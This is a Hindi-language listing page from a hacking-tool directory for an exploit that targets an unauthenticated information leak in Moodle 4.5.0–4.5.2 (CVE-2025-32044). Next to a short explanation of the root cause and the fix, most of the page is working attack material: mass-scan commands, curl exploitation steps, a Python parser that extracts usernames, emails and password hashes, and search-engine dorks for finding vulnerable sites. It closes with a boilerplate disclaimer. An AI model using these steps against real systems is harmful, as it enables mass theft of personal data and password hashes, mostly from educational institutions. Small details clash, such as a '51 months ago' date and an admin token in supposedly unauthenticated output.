Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-32044 — Moodle 4.5.0-4.5.2 अप्रमाणित REST API उपयोगकर्ता डेटा एक्सपोज़र via Stack Trace Args Leak | CVSS 7.5 | Kitploit
उपकरण/GitHubGitHub/shinthink/cve-2025-32044
पासवर्ड क्रैकिंगभेद्यता विश्लेषणशोषणजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubshinthink/cve-2025-32044

CVE-2025-32044

Moodle 4.5.0-4.5.2 अप्रमाणित REST API उपयोगकर्ता डेटा एक्सपोज़र via Stack Trace Args Leak | CVSS 7.5

रिपॉजिटरी देखें
51 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-32044 — Moodle बिना प्रमाणीकरण के REST API उपयोगकर्ता डेटा एक्सपोज़र

Stack Trace Args रिसाव → नाम, ईमेल, पासवर्ड हैश


अवलोकन

CVE-2025-32044 उच्च-गंभीरता (CVSS 7.5) वाली एक बिना प्रमाणीकरण के सूचना प्रकटीकरण भेद्यता है जो Moodle LMS 4.5.0 से 4.5.2 में पाई जाती है।

यह भेद्यता Moodle के REST API अपवाद हैंडलर में स्थित है — exception_response::get_payload_data() lib/classes/router/response/exception_response.php में। सुधार से पहले, PHP स्टैक ट्रेस में फ़ंक्शन आर्गुमेंट्स शामिल होते थे जो API त्रुटि प्रतिक्रियाओं में भेजे जाते थे। ये आर्गुमेंट्स कॉल स्टैक के माध्यम से पारित संवेदनशील उपयोगकर्ता डेटा — जैसे उपयोगकर्ता नाम, पूरा नाम, ईमेल पते, और पासवर्ड हैश — शामिल करते हैं।

लीक को ट्रिगर करने के लिए किसी प्रमाणीकरण, टोकन, या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है। हमलावर को केवल किसी REST API एंडपॉइंट पर एक दोषपूर्ण अनुरोध भेजना होता है जो आंतरिक अपवाद का कारण बनता है।

प्रभावित संस्करण

Moodle संस्करणस्थिति
4.5.0 – 4.5.2असुरक्षित
4.5.3+पैच किया गया
< 4.5.0प्रभावित नहीं
zend.exception_ignore_args = On वाले सभी संस्करणप्रभावित नहीं

खोजकर्ता: Lucas Alonso (मार्च 14, 2025)
Moodle Tracker: MDL-84879
सलाह: MSA-25-0011


भेद्यता तंत्र

मूल कारण

root@kitploit:~
// lib/classes/router/response/exception_response.php (BEFORE fix)
protected static function get_payload_data(...): array {
    $data = [
        'message' => $exception->getMessage(),
        'stacktrace' => $exception->getTrace(),  // ← includes 'args'!
    ];
    return $data;
}

जब REST API प्रोसेसिंग के दौरान कोई अपवाद होता है, तो PHP स्टैक ट्रेस में कॉल स्टैक के प्रत्येक फ्रेम के लिए फ़ंक्शन आर्गुमेंट्स (args) शामिल होते हैं। ये आर्गुमेंट्स अनजाने में उपयोगकर्ता तालिका डेटा शामिल कर लेते हैं जो कॉल श्रृंखला में उच्च फ़ंक्शनों द्वारा संसाधित किया जा रहा था।

सुधार (Moodle 4.5.3)

root@kitploit:~
// lib/classes/router/response/exception_response.php (AFTER fix)
'stacktrace' => array_map(
    fn ($frame): array => array_filter(
        $frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
    ),
    $exception->getTrace(),
),

साथ ही lib/setup.php में गहराई-में-रक्षा:

root@kitploit:~
ini_set('zend.exception_ignore_args', '1');

हमले का प्रवाह

root@kitploit:~
1. Target Moodle 4.5.0-4.5.2 without zend.exception_ignore_args
2. Send malformed request to /webservice/rest/server.php
   (e.g., core_user_get_users_by_field with missing required params)
3. Internal exception triggered during user data processing
4. API error response includes stack trace with 'args'
5. Parse args for usernames, emails, hashes

क्या डेटा लीक होता है


स्थापना

root@kitploit:~
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt

उपयोग

root@kitploit:~
# Single target scan
python cve_2025_32044.py -t moodle.target.com

# Mass scan
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt

# Mass scan with more threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt

# Debug mode
python cve_2025_32044.py -t moodle.target.com --debug -v

आर्गुमेंट्स

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save leaked user data to file
  --threads         Concurrent workers (default: 30)
  --timeout         Request timeout in seconds (default: 10)
  --debug           Show every HTTP request
  -v, --verbose     Verbose output

प्रूफ ऑफ कॉन्सेप्ट

एकल लक्ष्य

root@kitploit:~
$ python cve_2025_32044.py -t moodle-target.com
root@kitploit:~
  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5

  Host       : moodle-target.com
  Moodle     : YES v4.5.1
  WS Enabled : YES
  Token      : obtained (admin)

  ═══ DATA LEAKED ═══
    admin                | [email protected]
    jsmith               | [email protected]
    mjones               | [email protected]
  Emails: 3
  Hashes: 3
    $2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
  Time       : 3.2s

सामूहिक स्कैन

root@kitploit:~
  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
  Targets: 500  |  Threads: 30  |  Mode: QUIET

  [LEAK] moodle-vuln-01.ac.id          users=15 emails=12 hashes=15
  [WS]   moodle-patched-02.edu         token=admin
  [!]    moodle-no-ws-03.org
  [150/500] 30% | Det:87 WS:32 Tok:8 Leak:5

  ───────────────────────────────────────────────────────
  Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5

मैन्युअल शोषण

चरण 1 — Moodle और वेब सेवाओं का पता लगाएं

root@kitploit:~
# Check if Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle

# Check web services
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS enabled + maybe guest access
# {"error":"Web services must be enabled..."} = WS disabled

चरण 2 — टोकन प्राप्त करें (यदि संभव हो)

root@kitploit:~
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'

चरण 3 — अपवाद ट्रिगर करें और लीक कैप्चर करें

root@kitploit:~
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Response will contain stacktrace with args if vulnerable

चरण 4 — लीक किए गए डेटा को पार्स करें

root@kitploit:~
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
    'wsfunction': 'core_user_get_users_by_field',
    'moodlewsrestformat': 'json',
    'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
    for arg in frame.get('args', []):
        if isinstance(arg, dict) and 'username' in arg:
            print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")

पहचान (Shodan / FOFA)

root@kitploit:~
FOFA:   body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"

प्रभाव

सफल शोषण से प्राप्त होता है:

  • उपयोगकर्ता गणना — Moodle उपयोगकर्ताओं की पूरी सूची
  • ईमेल पते — फ़िशिंग, क्रेडेंशियल स्टफिंग
  • पासवर्ड हैश — ऑफ़लाइन क्रैकिंग → खाता अधिग्रहण
  • अंतिम लॉगिन आईपी — उपयोगकर्ता स्थान ट्रैकिंग
  • श्रृंखला: हैश क्रैक → लॉगिन → एडमिन तक बढ़ोतरी → टेम्पलेट संपादन → RCE

अस्वीकरण

केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।

यह सॉफ़्टवेयर सुरक्षा पेशेवरों द्वारा अधिकृत पैठ परीक्षण, संगठनों द्वारा अपने स्वयं के बुनियादी ढांचे के ऑडिट, और भेद्यता शोषण का अध्ययन करने वाले शोधकर्ताओं के लिए है।

लेखक दुरुपयोग के लिए कोई देयता नहीं लेते हैं।


संदर्भ


यह प्रोजेक्ट Moodle Pty Ltd से संबद्ध नहीं है।

टूल डाउनलोड करें
फ़ील्डस्रोत
उपयोगकर्ता नामuser तालिका
पूरा नामfirstname + lastname
ईमेलemail कॉलम
पासवर्ड हैशbcrypt $2y$ / $2b$ हैश
अंतिम लॉगिन आईपीlastip कॉलम
उपयोगकर्ता आईडीid कॉलम
संसाधनलिंक
Moodle Advisory MSA-25-0011moodle.org
Moodle Tracker MDL-84879tracker.moodle.org
Git कमिट (सुधार)github.com/moodle/moodle/commit/41917db65e6b
NVD प्रविष्टिCVE-2025-32044
खोजकर्ताLucas Alonso